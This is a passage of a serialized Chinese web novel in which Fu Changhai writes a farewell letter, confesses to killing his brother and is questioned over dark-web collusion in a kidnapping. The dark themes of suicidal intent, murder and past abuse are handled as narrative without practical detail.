傅长海这些天一直在自己的房间没有出去,房间内像是被他安置成了灵堂一样阴森可怖。 桌案上摆着胡明阮的牌位,还有数不清的纸钱。 第772章 遗书 傅长海跪在蒲团上,点燃香后插进香火炉中,然后双手合十的跪拜,口中念念有词。 直到这样念了一个小时才终于停歇。 钢盆中是他给胡明阮烧去的纸钱,此刻只剩下黑灰了。 “明阮啊,这么多年一直让你一个人在下面你也很孤独很害怕吧。” “你还记得嘉誉吗?那是我们的女儿,我们的嘉誉聪明善良,她身边已经有了一个可以全身心信赖的爱人,这一生都能无忧无虑的生活了。” “我本想着嘉誉结婚后就去下面见你的,不过可惜这次大概等不到嘉誉结婚了。” “我想,嘉誉应该也不需要一个罪人父亲参加她的婚礼,像我这样双手沾满血的人活着也只能给她抹黑吧。” 傅长海望着桌案上的牌位苦涩的笑了笑。 “我知道明阮你可能也会觉得我脏觉得我狠觉得我坏,其实我也早做好了可能下地狱的准备了,我只是想……如果你真的在下面,没能等到我的话请一定不要伤心,因为我也不想脏了你下面的路。” “我不会脏了你的墓,我会死的远远的,让你一直都干干净净的,好不好。” 傅长海说到这里时眉宇之间都带着点无奈的笑意。 他的腿还没好全,经常要坐在轮椅上出行,这次跪了太久,站起来的时候踉跄了下险些摔倒。 他扶稳了桌案才避免自己摔到地上。 他站起来,扶着墙走到保险柜旁,打开了保险柜,又在翻看那些早已经看了无数遍有关胡明阮的照片,只是最后多了一张傅长海的单人黑白照。 这是他留下的遗照。 傅长海越看心里就疼的越厉害。 等看完这相册,他才颤抖着手将这本相册重新锁起来。 遗嘱早就立好了,也做了公正,往后有傅守越护着傅嘉誉,他是不害怕的,也不为自己女儿担心的。 重新取了纸笔,傅长海才提笔写了遗书。 【嘉誉,我自爱的女儿,当你看到这封信的时候父亲已经离开人世了,你不用为父亲悲伤,因为父亲是心甘情愿离开的。 这么多年以来,我唯爱的只有你的母亲胡明阮,明阮离开后我便总想早日解脱,我早想到自己头顶大抵是悬挂着死亡倒计时的天数,只是最终要取决于我自己哪天离世。可我有了你,看到你那般肖似明阮我便想要养大你,将一切的最好的东西都奉给你。 我死后或许你会知道有很多有关于‘傅长海’的信息,许是我做了太多错事,你或许会觉得那个傅长海陌生可怕。嘉誉,你不要怕,纵然父亲双手沾满鲜血却也绝不会伤害你。这世界上父亲最爱的最珍视的就是你。只是像我这样的人活着或许对你来说是污点,只有我死了或许你才能真正干干净净的活着。我的女儿那般善良那般优秀,她自然要挺直腰板堂堂正正的活在这人世。 不要为我伤心,早在你母亲离世那天我便想走了,不过多留这几十年看到我的嘉誉长大成人身边有了爱人我便更加无悔。即便到了地下若是有缘遇到你的母亲,我也能告诉她我将我们的女儿养的很好,让她不必担心。 我的资产已经立下遗嘱,全都是你的,其实也没有多少,已经都转给了你,做父亲的总是会担心你会被欺负,若是傅守越真的欺负你,那便去找傅京礼。虽然我恨他,但他会护着你。 往前林林总总很多事,我都不愿再提,错事都是我一人做的,只愿嘉誉不要恨我。 嘉誉,父亲唯一希望的是,不要去恨父亲,我不想带着你的恨离世。】 傅长海写到这里心里的疼痛感是难以言喻的。 他爱胡明阮,也爱傅嘉誉,对傅嘉誉的爱就是父亲对女儿的爱。 他这一生的确做了太多错事,伤了太多人害了太多人,但他确实全都是为了傅嘉誉,他为了傅嘉誉争为了傅嘉誉抢,为了傅嘉誉去暗害傅京礼,什么脏事他都做了一个遍。 他不想说傅嘉誉知道这一切后能原谅他,他只希望傅嘉誉不要恨他。 他可以浑身沾满鲜血踏入地狱,但他永远希望自己的女儿光明正大的活着。 傅长海的绝笔遗书写到这里,傅老爷子却已经拄着拐杖冲进了他的房间,见到房内因他点了香火所以烟雾缭绕,忍不住用拐杖敲打地面。 “傅长海!你到底又做了什么?你又发了什么疯!” 作为傅长海的父亲,傅老爷子怎么可能不知道傅长海以前做过的丑事恶事。 只是他的大儿子大儿媳死了,二儿媳也死了,他只能睁一只眼闭一只眼,不想将自己这个儿子也逼到绝路。 可万万没想到傅长海从没停下作恶的手。 今天甚至是顾凛带着人上门!若是旁的什么人傅老爷子还敢花点钱送点东西贿赂,可来人是顾凛,他敢贿赂顾凛?顾凛就敢送他一副银手镯。 他是想破脑袋也不明白傅长海又做了什么了不得的大事能惹到顾凛啊! “顾凛上门了!就在楼下!你给我说清楚你都干了些什么!你不是向我保证过不再害人吗!这就是你的保证!保证到上面派人来抓你!”老爷子急不可耐的将拐杖砸到他身上,想逼着他说出真相。 傅长海垂眸,目光落在胡明阮的牌位上。 他声音干涩:“爸,如果我走了,你就把我的骨灰洒落进海里吧,别把我跟明阮葬在一起了。” “明阮那么干净,她会不开心的。” 傅老爷子被这话吓到了,他看着面前的儿子,几乎要老泪纵横。 “你要干什么啊!傅长海你到底还要干什么啊!你是真想让我这个白发人送黑发人啊!” 傅老爷子声音里都带着愤怒的吼声,傅长海抓住傅老爷子的拐杖,冲老爷子笑了一下:“爸,你和傅京礼一直在查当年我哥和大嫂那场车祸的主谋对吗。” 傅长海眼神平静,像是早就想好了自己的结局般看着傅老爷子开口:“是我做的。” 第773章 坦白 傅老爷子此刻身体都在轻微的抖,他转身就要走,嘴里念叨:“你是疯了,不太清醒了,现在都开始胡言乱语了。” “爸,那件事的确是我做的。” 傅长海平淡的开口:“因为我恨傅长宁没有娶明阮,因为我恨傅长宁间接害死明阮,以往内我恨你将傅家的一切留给傅京礼,所以我恨,我要报复。” “一切都是我做的,我改了他那辆车子的内部装置,那时候家里面没有监控所以没有拍到我。” “真凶是我,你的二儿子害了你的大儿子。” “爸,是我该死。” 傅长海此刻一心求死,就这样面色平静的说出自己曾犯下的错,傅老爷子眼泪不停地流,拐杖打在他身上。 “你这个混账东西!你是要逼死我啊!” 傅老爷子真的不知道吗? 他知道,可他压下了这件事,大儿子已经死了,他不想再失去小儿子所以才会瞒着这一切,可现在大儿子也存了死志。 两个儿子都死了,傅家还剩谁? 只剩阿礼和嘉誉了。 傅长海释然一笑,然后兀自坐到了轮椅上。 他看到了站在门口的顾凛,还冲他挥了挥手,顾凛没有让自己的下属上去将人扣住,他走进傅长海的房间,一眼便看到了桌案胡明阮的牌位。 他至今记得胡明阮的案子,胡家二小姐被人设计失身,照片都被人洒在各处,自那天起胡家狠到直接跟胡明阮断绝关系。后来逼迫胡明阮的男人死了,死的悄无声息,说是吸食禁品过量死的,可其实没有多少人相信,因为那时候那个人手里没有买禁品的钱。 但那是没人想继续查下去,他们都觉得那人死得其所。 他的贪念险些害死胡明阮,不,不能说是险些害死,是真的逼死了胡明阮。 那时已经嫁给傅长海的胡明阮精神恍惚的跳楼,只留下一个女儿傅嘉誉。 顾凛对傅长海了解不算多,只知道这人一生挚爱是胡明阮,在胡明阮跳楼后靠着她留下的唯一血脉继续苟延残喘的活着。 可如今才知道这人因为胡明阮的死内心有多恨。 不过他这次不是为了傅长宁的死而来,他是为暗网的事要带走傅长海调查清楚。 顾凛走近,目光冷淡的看着他:“傅长海先生,我们这里查到你跟M国暗网组织的埃尔斯曾经有过联系合作,跟我们走一趟吧。” 傅长海坐在轮椅上,抬头对上的就是顾凛沉稳凉薄的眼神,他轻笑一声,深处自己的手:“带我走吧。” 他不反抗也不解释,像是早就猜到会有这么一天,所以认命了,又或者说做好了一切准备。 顾凛带走傅长海时傅老爷子一直紧紧跟在后面,老爷子毕竟年纪大了,拄着拐杖默默流泪的跟在他们身后。 老爷子就是有一种父子连心的直觉,他觉得这是自己跟二儿子最后一面了。 “长海啊!你心里不舒服你为什么不说呢!你说了我怎么会不安抚你!你为什么一定要自己动手!” 傅老爷子眼见傅长海被押上警车。 不是一般的警车,国安部的车,上去了,再想回来那就难了。 傅长海透过车窗看到老爷子满脸是泪的为自己这个不孝子哀嚎,他闭上眼眸到底没再说什么。 他自己心里也清楚,他对得起明阮对得起嘉誉,可他对不起这位可能又一次白发人送黑发人的父亲。 …… 许愿接到顾凛电话的时候才知道傅长海已经被带到国安部关起来,因为傅长海跟暗网有联系,所以需要多方位调查看他是否跟更多境外势力有牵扯,现在可以说是全方位软禁。 许愿是有权利去见傅长海的,因为她的身份摆在这里,刑从景去打个报告传上去就足够了。 且这次上面这么在意傅长海跟暗网的勾结,最重要的一点是暗网曾经提到过许愿,有过要抢走许愿的意思。 许愿带盛景炎到了顾凛的地盘儿顾凛此刻还没开始审问呢,就见许愿来了。 知道许愿的打算,顾凛扬了下手低头看了下时间:“给你申请了三十分钟,请便。” “谢谢。” 许愿道谢后跟盛景炎进了审讯室。 审讯室的椅子很高,是那种硬木的椅子,坐在这里会让人觉得煎熬难耐,头顶就是刺目的灯光,是为了更好的打压罪犯的心理防线,有些审讯就用的熬鹰的方法,用灯光逼着对方睁眼整日整夜不许睡觉休息,直到被逼到心理崩溃身心紊乱。 傅长海自然也是这个待遇。 他听到开门声,抬眸看过去,对上了许愿那张明艳漂亮却又带着冷意的面容。 他似是早就料到许愿会来,所以此刻竟然有些放松了。 “你想问什么,我都可以回答你。” 傅长海此刻竟然十分好说话,跟曾经与许愿针锋相对甚至发狂的傅长海全然不同。 他此刻像是真的完全释然了,脸上带着淡淡的笑,好像一切都看开了不在意了也不想争了,看着真的很像一位慈祥的长辈。 “这么短的时间内,你的变化很大。”许愿坐在他对面淡淡开口。 傅长海面色平静:“我想我们的关系还没有好到可以说这些没用废话的程度。” 许愿又盯着他看了几秒,片刻后开口:“温栩栩被绑走这件事我想过很多人,我甚至想过是颜佳雨有内应,但我没想过是你。” “傅嘉誉多在乎栩栩你不是不知道,而且我也非常想知道一个从不对女性出手的你,甚至最厌恶暗网那些完全物化女性做法的你为什么会跟暗网狼狈为奸。” 听到许愿的话,傅长海恍惚了一瞬。 “最初我是拒绝的。” 他平静回答:“我知道我在你眼中是个烂人,我也承认我自己是个烂人,但我还没烂到真的想跟暗网合作的地步。” “可……许愿,你是知道我的,我唯一在乎的就是嘉誉,埃尔斯利用嘉誉威胁我达到他的目的,跟嘉誉有关联的我不得不小心提防。” 说到底,还是为了傅嘉誉所以不得不低头成了暗网的走狗。 第774章 你不能说我不爱嘉誉 傅长海唯一在意的是傅嘉誉这件事许愿自然知道。 她甚至知道帝城千金里怕是只有傅嘉誉真的是被从小宠到大的,爷爷疼爱父亲和哥哥更是拿命护着,虽然傅家中间多有波折,可傅长海还是为傅嘉誉寻了傅守越来守着她。 哪怕以后傅长海真的不在了,还会有傅守越护着傅嘉誉,她永远都会是傅家那个高高在上的千金。 傅长海此刻显得有些沧桑,他看着许愿,眼底略过的是一抹似是无奈又似是悔恨的眼神。 “埃尔斯大抵是调查过你我,知道我跟你的关系算是水火不容,也知道我在国内有些人脉,所以故意联系我想让我设计温栩栩。” “为了嘉誉我自是不肯的,我知道我是个混蛋,我的确伤过很多人,但我没有疯到跟暗网合作的地步去害女性,我只要代入到嘉誉身上我就会觉得作呕,我是爱钱,但我不会接受暗网的脏钱。” 说到这里傅长海苦笑。 “埃尔斯当然像你一样知道我的软肋是嘉誉,他提起其他人我可能都不会在意,可他竟然说如果得不到温栩栩他会将嘉誉请到M国请到暗网……” “我知道暗网的势力,我就算是再可恶,可跟暗网比起我也算是在明处了,我是真的担心嘉誉会被暗网盯上,哪怕有万分之一的可能我都不敢去冒险。” “我知道做了这种事我会一辈子抬不起头我罪无可赦,我会恨,但我恨的是埃尔斯,我不会后悔自己做了这件事,我永远不会让嘉誉真的面对这样的危险,这也是我能为嘉誉做的最后的事了……” 傅长海握紧自己的手看着许愿:“如果埃尔斯用盛景炎来威胁你,你一定也会做出跟我同样的选择!” 许愿摇了摇头:“我不会做出同样的选择,你不必这么快为我下定论。” “我的确会被威胁到会担心会害怕,但我会跟埃尔斯正面对上,而不是因为害怕恐慌将所有的伤害加注到其他人身上。” “用其他人的生命来换取自己亲人爱人的生命,这一辈子都会活在愧疚忏悔中。” 许愿看着傅长海沧桑的模样,片刻后开口:“就算你不会在意,傅嘉誉也绝对会在意。” “如果栩栩真的出了事,傅嘉誉这辈子都不会再开心,她永远会认为自己是罪人,这是你想看到的吗。” 傅嘉誉天真烂漫,绝对会因为这种事抱憾终身。 “我宁愿让嘉誉不那么开心也不能让她……让她遭受到半点伤害!”傅长海怒吼。 他做这一切都是为了嘉誉!就算她会生气会恼怒,可她没有被暗网绑走,没有遭遇到颜佳雨遭遇的那些不是吗! 许愿逼近他:“埃尔斯跟你联络你为什么不找我。” “你明知道在此前埃尔斯再网络上发布了多少条跟唐文晞有关的紫眼睛文章,埃尔斯和莱蒂斯甚至真的堂而皇之的嘲讽我,你从那是就该知道我和埃尔斯算是正式对上了,既然如此为什么不来找我?” “你没能力对上埃尔斯,那我呢?” “那种情况下你可以找我或者将这件事上报,但你没有。” “你认为你自己为了女儿光明磊落,但其实你为了你女儿再次作恶,你不会是她心里的英雄,她只会觉得你卑劣。” 许愿一字一句尖利刺耳的话像是利箭,每一箭都完全刺戳着傅长海的胸口,那样致命的疼痛感令傅长海恍惚中连连苦笑。 “许愿,你永远都会将这些事看的这么简单吗。” 傅长海哑着嗓子:“你让我找你,我怎么去找你,我们之间的仇恨人尽皆知,我恨苏青莲,设计你陷害你甚至于盛景炎的腿都是因为我而受伤,我的腿也是被你打击报复才报废,这种情况下你让我去找你,难道我就不会害怕你恩将仇报吗!” “我要为嘉誉做好一切的打算!我不能让嘉誉发生意外!” 许愿听到这里竟是嗤笑一声。 “傅长海,你到底是为了自尊还是真的认为我不会帮你?” 她双手撑在桌上,眼神逼视的看着眼前的男人。 傅家其实并没有丑的人,哪怕傅长海阴险狡诈满腹心机,可他的相貌确实温润儒雅,任谁也无法透过他这张脸勘透他满是罪恶的内心。 他已经老了,可即便如此还是风度翩翩,只有此刻在面对许愿时面色有些狰狞和愤懑。 “为了嘉誉我的自尊算什么!就算是你真的把我的自尊踩在脚下碾碎我也不在乎!只要是能护住嘉誉我做什么都可以,可我不敢赌!” “你说要我找你,你就绝对不会出纰漏吗!如果你真的这么厉害温栩栩是怎么被掳走的?她又是怎么在你眼皮子底下受伤的!黎云笙又是怎么重伤的!就算这次温栩栩没有出事,你怎么知道这次绑架案没有对温栩栩造成伤害!” “她的确被你救回来!可你怎么就知道温栩栩心里不害怕!不会做噩梦!她只要闭上眼睛就会是黎云笙倒在血泊中的场景!她会没日没夜的被噩梦惊醒落泪!” “我觉不允许嘉誉也经历这一切!我的嘉誉就是要永远天真烂漫!我就是要让她永远快乐!我不要让她因为任何琐事伤心,更不能让她收到半分伤害!” 傅长海怎么可能不懂呢? 当年胡明阮从医院跳下去,身体碎裂,到处都是鲜血,他哭喊挣扎的叫着胡明阮的名字,伺候那一年他每晚都会梦到胡明阮跳楼那一幕,一次又一次看到胡明阮倒在血泊中然后向他伸出手说“救救我”。 哪怕这么多年过去,那一幕仍然清晰的印在他脑中,他如何不怕如何不慌? 明阮就是被人欺侮过被人拍了照片和视频所以才不堪受辱跳楼自杀,嘉誉呢?他更不能让嘉誉出事,颜佳雨经受的那一切他就已经怕了,如果是他的嘉誉,他绝对会发疯。 傅长海厉声道:“许愿,你可以骂我是个混蛋,但你不能说我不爱嘉誉!” 第775章 你是个有原则的好人 傅长海留在这人世最后的意义就是守护他的女儿傅嘉誉。 当初若非是胡明阮留下了一个傅嘉誉,傅长海那天就会随着胡明阮跳楼自杀,他活着全因他的女儿。 “我不能让嘉誉受到任何伤害,威胁也好恐吓也好,那些风雨我这个做父亲的全都会拦在门外,我的嘉誉就是温室的花朵,我愿意让嘉誉永远躲在温室内。” “她就该幸福的活着,快乐的活着,然后不被任何人伤害。” 傅长海说到这里突然就笑了。 “往后就算没有我,守越也会替我好好爱嘉誉。” 傅守越一定会对嘉誉很好,就算没有傅守越,傅京礼也绝对不会让任何人欺辱嘉誉,而他呢?他这个坏种父亲,嘉誉此生唯一的污点就不该存于世了。 他改做个了断然后离开,让嘉誉清清白白的活着。 许愿看着面前带着癫狂的男人,她依稀还能想起她和傅京礼刚离婚没多久傅长海回国的时候,那时候傅长海尊贵优雅,可眼前他却为了他挚爱的女儿低下高高的头颅承认了一切的罪行。 最初许愿想过接近傅长海,因为她曾经怀疑过苏青莲的死跟傅长海和许镇江有关,但现在这件事算是不了了之。 因为苏青莲没有死,当年的苏青莲可以说是利用了傅长海和许镇江的合作故意演戏逃出生天然后带着唐清江离开华国。 傅长海和许镇江在苏青莲的眼中就只是颗好用的棋子。 傅长海本性坏吗?抛去傅长海做的恶事,傅长海可以称得上是这世界上最爱女儿的父亲,他可以为了他的女儿付出一切哪怕是声誉生命,一切的一切都不如他眼中女儿的幸福快乐重要。 她当然知道傅长海其实并没有多喜欢傅守越,但傅长海可以容忍傅守越跟傅嘉誉在一起就是因为傅长海知道傅守越是除他之外第二个绝对不可能背叛且伤害傅嘉誉的人。 他是个绝对的坏人,但却是时间少有的最疼爱女儿的父亲。 “傅长海,你有没有想过,如果当初你做那些事,你和傅嘉誉可以活的更好。” “你想要的,想为傅嘉誉去争取的傅家人会给你,傅家人并不卑劣,哪怕我已经跟傅家没了联系,但我也可以说一句傅家在大家族中绝对算是光明正大。” “你做那些恶事无非是为傅嘉誉去争去抢,可你若是开口,他们不会不为傅嘉誉考虑。” 说到这里许愿眸光暗了一瞬:“我需要确认一下,你确实是杀害了傅京礼父母的真凶对吗。” 傅长海冷脸看她:“你来之前难道顾凛没有告诉你这些。” 对,确实如此,他亲自害了自己的大哥大嫂让他们死于车祸。 “不需要顾凛告诉我,跟傅京礼离婚不久后我就猜到了。”许愿对上傅长海冰冷的眼神开口:“你难道没有想过吗,如果傅长宁还活着,傅家只会更上一层楼,傅嘉誉也会更受宠,就算为了傅嘉誉你都不该……” 许愿的话还没有说完傅长海愤恨的双手握拳狠狠砸着桌面,手腕上的手铐发出哗啦哗啦的声响。 “许愿,温栩栩这件事是我的错,你可以嘲讽我可以说做了错事,但傅家其他事你没资格提!他们就该死!他们不该活着!他们不配活在人世!” “我恨他们,我就是要让他们死!” 傅长海是为了谁?是为了胡明阮,他那时日日夜夜因为胡明阮而做着噩梦,整日整夜睡不着觉,他怎么能不恨! “我不是为了嘉誉!你怎么可能懂呢!你根本不懂……如果盛景炎真的被人暗害你就绝不可能再说出这种愚蠢的话!” 傅长海眼底布满红血丝。 他当然知道傅长宁活着傅家会更上一层楼,可他不后悔害死傅长宁这件事,他就是恨傅长宁间接害死明阮!他就是要让傅长宁和他的妻子为明阮陪葬! 许愿被他此刻的戾意惊到。 许愿微微眯眸,她清楚现在再说什么傅长海也不会给什么清楚的答案,只会继续发疯。 得到了自己想的答案,知道傅长海是被逼无奈,她心里那点恨意其实也算消散了。 许愿从不是恶人,这次的事情她也清楚是傅长海被逼无奈做出的选择,所以她不会针对傅家,但这次的事上面也会给个交代。 傅长海,一定会被问罪。 许愿看向身旁的盛景炎,然后弯了弯眼睛,盛景炎冲她微微颔首点头,两人即将离开审讯室前,傅长海倏地又开口了。 “许愿,这次的事嘉誉是无辜的,你曾说过你绝对不会对无辜的人下手,你放过嘉誉,此前种种我都会认罪。” 许愿脚步微顿,她缓缓转身。 审讯室内的灯光实在亮的刺眼,此刻打在傅长海身上,只罩的那张脸愈发苍白没有血色,好像是夜晚随时会被索命吊走的阴森死人。 可他此刻用那双布满红血丝的眼睛直勾勾的望着许愿,只等她的回答。 “我还没有那么卑劣,你犯的错上面自有处罚,我不会动傅嘉誉。” “就像你说的,只要你不连累她,她就会永远幸福快乐无知无畏。” 听到许愿这话,傅长海又笑了,他身上森森的鬼气都逐渐被敛去,此刻眼睛亮的惊人。 “许愿,你现在也不是那么惹人厌了。” 傅长海说:“我真的无比庆幸你是个有原则的好人。” 许愿深深的看了他一眼,淡淡道:“那就多谢你的夸奖了。” 话落,许愿跟盛景炎已经离开审讯室。 傅长海整个人的身体在这一刻才算是完全放松,他缩进了椅子内哈的轻笑了一声。 做了伤害到温栩栩的事情,他唯一怕的就是被许愿找上门,然后嘉誉也被许愿恨上,他不在意自己死活,却独独在意傅嘉誉。 可现在许愿开口了,她不会伤害嘉誉。 只要许愿开口,傅长海就绝对相信许愿,这就是许愿的口碑。 …… 从审讯室出来,许愿挺直的腰背有瞬间的萎靡。 她突然停下脚步抱住身边的盛景炎,盛景炎似是猜到了她为什么是这样的反应,轻笑了一声将人揽抱进怀中。 第776章 你在为傅长海难过? “阿愿,你在为傅长海难过,对吗。” 许愿声音很轻,带着几许惆怅。 “我其实特别讨厌傅长海,特别特别讨厌,讨厌到曾经想亲自手刃他报仇的程度,他伤害过你,伤害过小逸,是我排在心里的头号敌人,比兰蒂斯还要惹人厌!” 这盛景炎是知道的,也绝对相信的。 “可是我就是会难过,我觉得有时候共情能力太强其实并不是什么好事。” “傅长海是恶人,可他真的对傅嘉誉太好,好到我觉得如果我说一句用这条命换傅嘉誉后半生安然无虞幸福美满傅长海都会当着我的面自杀然后夸我是个善良的好人。” “傅长海设计栩栩的时候其实已经猜到他往后的下场了,可他还是为了傅嘉誉做了这件事,我知道我该恨他该更加厌恶他,但我也会控制不住的去想,傅长海有些事好像没有做错。” “是我太想当然,是我太骄傲自负,这世界上不是所有人都像我一样的,傅长海就是典型的想要为傅嘉誉规避伤害。” 许愿觉得自己的眼睛有点酸涩。 “我总觉得,这可能真的是最后一次见傅长海了。” 她的笑意都带着点苦涩:“竟然被他这样的烂人夸奖是有原则的好人,我都不知道该是开心还是难过。” 盛景炎看她这副模样心里实在有点发疼,他当然知道他的阿愿有多好,她就是共情能力太强所以才会如此善良。 她会因为傅长海曾经伤害过他的事情恨他,也会因为他为了傅嘉誉做下蠢事即将被处决前同情他。 “他是恶人,但是个身不由己的恶人。”盛景炎牵住她的手,说道:“等离开这里我再跟你将他为什么会那么恨傅长宁。” 许愿顿了下点了点头。 顾凛已经等了不少时间,见两人出来还特地递过去两杯咖啡。 “香草拿铁,让人专门去给你买的。”顾凛知道许愿喜欢喝这个。 许愿道了谢。 因为傅长海的情况比较特殊,所以哪怕是许愿来探视也需要有人随时盯着监控,顾凛自然知道傅长海对着许愿怒吼的那些。 顾凛随口劝了句:“不必将傅长海说的那些太放在心上。” 虽然是这样说,但顾凛心里其实对傅长海厌恶归厌恶,但也不是不能理解。 因为当初知道苏青莲出事的时候他也确实想过让那些伤害过苏青莲的人陪葬。 他想过,如果是苏青莲遭受到胡明阮那样的事,他大抵也会像傅长海这般疯狂。 许愿接过咖啡喝了一口,只是此刻整个人还有点点茫然,对上顾凛的眼眸才开口:“傅长海会被判处什么刑罚。” 顾凛垂眸,他眼里没有了笑意,并没有直接说只是反问:“你这么聪明,应该已经猜到了。” 是的,许愿猜到了。 傅长海过往种种都认罪,绝对是死刑。 许愿勉强的笑了笑谢过顾凛,捧着那杯咖啡随着盛景炎离开,直到上了车都还觉得自己的手是凉的。 她心里想了很多事。 傅长海那么在意傅嘉誉,难道傅嘉誉就不在乎傅长海吗?傅长海最终被判处死刑,傅嘉誉怎么办? 对,傅长海也算好了这一切,傅守越就是傅长海为傅嘉誉安排的最后的后路。 可哥哥和爱人,怎么能跟父亲一样? 傅守越再爱她,此生最疼爱她的父亲也要离开,她怎么会不心痛不难过? 许愿微微闭上眼眸,她觉得自己真的不该想这么多,她这样只会头更痛。 盛景炎看她这副模样不由笑了一声,伸出手捏捏她的脸,然后剥开一颗水蜜桃味道的糖果喂到她嘴边。 许愿含在嘴里,那双清亮的眼睛就落到了他的身上,带着几分神伤的怅然。 盛景炎握住她的手,将咖啡放到一旁的小展柜上,才开口:“当年有关于傅长海和胡明阮相关的事情其实已经被销毁的差不多了,你想知道内情吗。” “内情?”许愿不解。 “对,有关于傅长海为什么会恨傅家人要害死自己大哥大嫂的内情。” 其实这些事许愿以往自己可以查到的,但许愿并未分多少注意力到傅长海身上,这就导致许愿根本不知道傅长海为什么做下这等恶事。 可事实上除了真正的心理变态,杀人狂魔这类的人,正常人去害人都是有原因的,譬如傅长海。 “傅长海年轻的时候在帝城其实也是很多人爱慕的对象,那时候的傅长海年轻,因为上面有傅长宁所以还有些顽劣的少年英气,必不及傅长宁的成熟稳重。” “他有个青梅竹马一起长大的爱慕对象,也是他后来的夫人胡明阮。” “胡明阮不喜欢傅长海,她喜欢的是傅长宁,但可惜的事傅长宁爱她姐姐,胡明阮是个很好的人,在知道姐姐诶跟傅长宁两情相悦后自动选择退出打算出国,但离开之际约了傅长宁见一面将此前的事情说清楚也算是做了了断。” “那晚,傅长宁没有去,去的人是傅长宁的敌人,他侮辱了胡明阮并拍下了胡明阮的照片和视频,胡明阮因为这件事几乎整个人崩溃,是傅长海求着胡明阮嫁给自己。胡明阮嫁了,本来也算是幸事了,可惜的是傅长海报复了那人,谁也没想到那人手中有备份,帝城圈子里都收到了胡明阮被侮辱的照片,满帝城都是,所有人都说傅长海娶进门的是个破鞋荡妇。” “胡明阮再也撑不住,在生下傅嘉誉的当天就精神崩溃跳楼而亡。” “傅长海守了那么多年人,到底还是没承受住舆论的打击离世。” “傅长海太爱胡明阮了,所以他大概认为这一切都是傅家人的错,如果傅长宁喜欢胡明阮,如果那晚傅长宁去见了胡明阮,那一切就不会发生。” “所以他恨,所以他要报复。” 盛景炎握紧许愿的手放到自己唇边很轻的吻了下。 “阿愿,如果我是傅长海,或许我会更疯,疯到让整个傅家一个不留。” 第777章 她想拦下这次的事 都说许愿恋爱脑,可盛景炎何尝不是恋爱脑,他心里念着的无非是一个许愿,遇到许愿前盛景炎也没想过自己有朝一日会疯到这种地步,能够为了一个女人付出这么多。 初次见到许愿的盛景炎只觉得许愿无趣,几年后再见到许愿也只是用价值来衡量许愿所以才会追求她。 那时的盛景炎看中的是许愿背后的利益。 可现在的? 再多的利益都不低一个许愿,不然也不会早就立好遗嘱,许愿是唯一的受益人。 所以说许愿和盛景炎确实是天生一对儿,双向奔赴的恋爱脑。 他能理解傅长海那些做法也是因为代入了傅长海的视角去看待问题,如果许愿被侮辱他只会比许愿更痛,如果许愿因为那件事跳楼自杀,他自己都不敢想象会不会杀疯成为反社会人格。 因为盛景炎从没有将自己定义为绝对的好人,可以说他本身就是个疯子,现在这样有底线是因为许愿牵制他。 如果他是一把危险的利剑,许愿就是刀鞘,能让他敛住锋芒。 就是因为盛景炎疯,所以他才会跟黎云笙关系那么好,说白了两个人一旦没有人看着,真有可能成为法制咖。 他们运气好,盛景炎有了许愿,黎云笙有了温栩栩。 可傅长海呢?傅长海的爱人早就被逼死了,所有跟胡明阮有交际的人,在他眼中全部都是罪人,要付出应有的代价。 那时的傅长海连他自己的命都不在乎,他苟延残喘的活着无非是为了胡明阮的孩子,若非有傅嘉誉傅长海怕是早就随着胡明阮走了。 这么多年傅长海从来不惧怕死亡。 他唯一惧怕的是自己做的那些错事会让傅嘉誉抬不起头,惧怕自己死后下地狱不能再见胡明阮。 他爱的深恨得深。 可以说傅长海是绝对的恶人,但他也是最好的伴侣最好的父亲。 许愿眸光微闪,望着面前的爱人唇角的笑意带了点苦涩之意。 “我不知道这些。” 盛景炎伸出手捏了捏她的鼻子,许愿唔了一声就被盛景炎吻住,像是要将她此刻的愁绪也一并吻去,不想她再皱眉再难过。 许愿握住盛景炎的手轻微的摇晃了下,然后靠在他肩上蹭了蹭。 “听你说了那些我好像可以原谅傅长海曾经做的恶。” 盛景炎的腿已经治好了,苏逸的伤也早就恢复了,黎云笙虽然重伤但是苏青莲有把握让他醒过来,温栩栩并没有真的遭受到实质性的伤害,就算曾经傅长海真的真一直针对她,却也从没有真的占到什么便宜。 最后赢家一直都是她和盛景炎。 傅长海赌了一切最后还是赌输了,还要搭上他这条命,足够了。 许愿是足够善,但知道胡明阮和傅长海的往事也会有些怅然。 “傅长海死前大概最想说的就是不希望傅嘉誉知道那些往事,我在顾凛和刑从景那里算是能说的上话,所以我打算让他们瞒下傅长海的事,就当傅长海意外身亡吧。” 所以说许愿足够善,她知道傅长海不在意他那条命,他也早就想死了,但他唯一在意的就是傅嘉誉。 他大概希望在傅嘉誉心里他会是个好人,就算是死也是清清白白的死,而不是让傅嘉誉蒙羞一辈子对那些人心存愧疚。 他既然想让傅嘉誉一辈子天真烂漫,她不介意帮他一把。 “我们阿愿就是小天使。”盛景炎挼了把许愿的头发,好好的发型被他揉乱了,惹得许愿瞪他,她以为自己这副模样很凶恶,可落在盛景炎眼中却只剩下可爱。 盛景炎弄乱的头发,还是要他再理好,许愿由着他梳理着自己的长发,已经给顾凛去了电话,负责处理傅长海这次事件的就是顾凛。 顾凛接到许愿电话的时候已经在处理后续问题了,听到许愿说要为傅长海求个特例顾凛都险些觉得自己是听错了。 “许愿,你真的自己在说什么吗?”顾凛捏了捏眉心:“那是傅长海,不是普通人,与暗网相关的可以说是国际案件,这件事是需要公之于众给所有人一个交代,毕竟温栩栩被劫走这件事如果不解释清楚,国人也会怀疑华国的生活环境,这件事不是简单就能处理的。” 如果是别的什么人,顾凛可以给许愿个特例,但是傅长海这件事影响深远,就像温栩栩的粉丝至今都在询问温栩栩当初到底是怎么被绑走的?M国人就能随意出入华国?随意带走华国人?那华国还有安全可言吗?现在暗网虽然被除掉了,但谁知道有没有遗漏的暗网的走狗,毕竟十几年前暗网也被毁过一次。 如果这是偏远地区也就算了,可这是帝城,华国最安全的中心地带也能让温栩栩这样的顶级流量女星被神不知鬼不觉的劫走,谁不怕?谁不慌? 这件事不给个说法,普通民众都要生活在恐慌之中。 “许愿,我知道你心善,但傅长海设计陷害你这么多次,盛景炎的腿都是被傅长海跟人联手设计的,你就这么原谅傅长海还要为他考虑,这不是善良,这已经是愚蠢了。” 顾凛就这么直白的说许愿愚蠢。 许愿眸光闪了下,到底还是叹了口气。 “一方面为了傅长海,另一方面是因为傅嘉誉,我只是不忍心傅嘉誉知道她的父亲做了这种事,这种事一旦暴露,傅嘉誉这辈子都要活在那些人的议论中。” “我在傅家那三年,对我最好的除了傅老爷子就是傅嘉誉。” 